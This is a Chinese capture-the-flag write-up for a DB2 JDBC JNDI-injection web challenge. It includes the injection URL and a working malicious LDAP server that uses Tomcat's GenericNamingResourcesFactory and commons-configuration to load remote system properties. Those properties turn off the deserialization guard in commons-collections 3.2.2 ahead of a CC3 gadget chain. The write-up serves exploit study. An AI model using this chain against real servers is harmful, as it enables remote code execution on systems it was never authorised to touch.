0x01 分析题目
前情提要,这道题是来自第四届赣网杯的web5
简单捋捋信息,访问题目得到一个连接测试页面
题目给出的附件如下:
不难看出考点是DB2的JNDI注入,DB2打JNDI的payload大致如下:
jdbc:db2://127.0.0.1:50001/db:clientRerouteServerListJNDIName=ldap://127.0.0.1:1379/abc
但是反序列化依赖只有一个commons-collections-3.2.2.jar
,理论上是要打CC3的链的,但是可以看得出来版本不对,该版本对CC3反序列化的类做了限制,导致重要的类不能够被反序列化,例如InstantiateTransformer
,InvokeTransformer
通过测试得知:
由于Tomcat8.5.96测试发现TomcatByPass的工厂类org.apache.naming.factory.BeanFactory进行利用 是无法成功的,官方将其进行了修复,故无法利用
由于RMI在6u132, 7u122, 8u113版本开始做了限制、LDAP在 11.0.1, 8u191, 7u201, 6u211版本开始 做了限制,故猜测是目标是采用了高版本的JDK
这里只能去思考题目给出的其他依赖能不能破局了
给出的依赖中包含了commons-configuration、并且是tomcat部署,那么也存在tomcat-jdbc,查看相应的 Class:
org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory#getObjectInstance
该类可以进行加载类进行无参实例化,并且对setter方法进行调用 LDAP和RMI在收到服务端反序列化来的Reference
对象后根据classFactory
属性从本地classpath
中 实例化一个ObjectFactory
对象,然后调用这个对象的getObjectInstance
方法
该工厂类可以任意调用某类的setter方法,并且存在一个类:org.apache.commons.configuration.Sys temConfiguration
该类方法org.apache.commons.configuration.SystemConfiguration#setSystemProperties(java.lan g.String)
可以进行远程加载配置文件进行设置系统属性:
分析到这个程度就好解决了,我们发现commons-collections3.2.2的反序列化限制是这样的
例如:org.apache.commons.collections.functors.InstantiateTransformer#readObject
进入检测方法org.apache.commons.collections.functors.FunctorUtils#checkUnsafeSerialization
我们会发现检测时是在实时获取系统属性,如果不为 true 就会抛异常中断反序列化的执行
所以只需要修改这个作为JNDI注入缓解措施的系统属性,即可绕过高版本的限制
org.apache.commons.collections.enableUnsafeSerialization=true
然后打CC3即可,芜湖
0x02 搭建环境
为了以后复现简单,还是写了这么一个搭建环境的部分
首先是利用pom.xml导入依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version> <!-- 使用最新的版本 -->
</dependency>
<dependency>
<groupId>commons-configuration</groupId>
<artifactId>commons-configuration</artifactId>
<version>1.8</version>
</dependency>
<dependency>
<groupId>commons-lang</groupId>
<artifactId>commons-lang</artifactId>
<version>2.6</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.1.3</version> <!-- Use the appropriate version -->
</dependency>
<dependency>
<groupId>com.ibm.db2.jcc</groupId>
<artifactId>db2jcc</artifactId>
<version>db2jcc4</version>
</dependency>
然后是访问的index.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Test Connect Form</title>
</head>
<body>
<h2>Test Connect Form</h2>
<form action="TestDBConnection" method="post">
<label for="connectionString">URL:</label><br>
<input type="text" id="connectionString" name="connectionString" required><br>
<label for="username">Username:</label><br>
<input type="text" id="username" name="username" required><br>
<label for="password">Password:</label><br>
<input type="password" id="password" name="password" required><br>
<input type="submit" value="submit">
</form>
</body>
</html>
然后是用于实际连接的java类
import java.io.IOException;
import java.io.PrintWriter;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet("/TestDBConnection")
public class TestDBConnection extends HttpServlet {
private static final long serialVersionUID = 1L;
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();
String connectionString = request.getParameter("connectionString");
String username = request.getParameter("username");
String password = request.getParameter("password");
try {
// 加载DB2 JDBC驱动
Class.forName("com.ibm.db2.jcc.DB2Driver");
// 尝试建立数据库连接
Connection connection = DriverManager.getConnection(connectionString, username, password);
// 如果成功连接,则输出成功消息
out.println("<html><body><h2>连接成功!</h2></body></html>");
// 关闭连接
connection.close();
} catch (ClassNotFoundException | SQLException e) {
// 如果连接失败,则输出错误消息
out.println("<html><body><h2>连接失败!</h2><p>" + e.getMessage() + "</p></body></html>");
} catch (NamingException e) {
throw new RuntimeException(e);
}
}
}
0x03 攻击利用
采用LDAP服务的方式进行利用,本地修改好代码,搭建一个文件托管服务,下面是
修改系统配置信息:
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.io.*;
public class LDAPServer {
static String userDN = "dc=ldap;dc=com";
public static void main(String[] args) throws Exception {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization","true");
InMemoryDirectoryServerConfig imConfig = new
InMemoryDirectoryServerConfig(userDN);
imConfig.setListenerConfigs(new InMemoryListenerConfig("listen",
InetAddress.getByName("0.0.0.0"),1379,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory)SSLSocketFactory.getDefault())
);
imConfig.addInMemoryOperationInterceptor(new LdapInterpetor());
InMemoryDirectoryServer ldapServer = new InMemoryDirectoryServer(imConfig);
ldapServer.startListening();
}
static class LdapInterpetor extends InMemoryOperationInterceptor {
private static Reference systemConfiguration(){
Reference ref = new Reference("org.apache.commons.configuration.SystemConfiguration","org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", null);
ref.add(new StringRefAddr("SystemProperties", "http://127.0.0.1:6666/system.txt")); //配置文件的地址
return ref;
}
private static byte[] serializeObject(Serializable obj) {
try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos)) {
oos.writeObject(obj);
return bos.toByteArray();
} catch (IOException e) {
e.printStackTrace();
return null;
}
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult request) {
Entry entry = new Entry(request.getRequest().getBaseDN());
try {
System.out.println("start");
String className = "java.lang.String";
entry.addAttribute("javaSerializedData", serializeObject(systemConfiguration()));
entry.addAttribute("javaClassName",className);
entry.addAttribute("objectClass","javaNamingReference");
request.sendSearchEntry(entry);
request.setResult(new LDAPResult(0, ResultCode.SUCCESS));
System.out.println("stop");
}catch (Exception e){
e.printStackTrace();
}
}
}
}
搭建一个文件托管(这里就直接用python)
python -m http.server 6666
配置文件内容
org.apache.commons.collections.enableUnsafeSerialization=true
然后直接打CC3链子就行了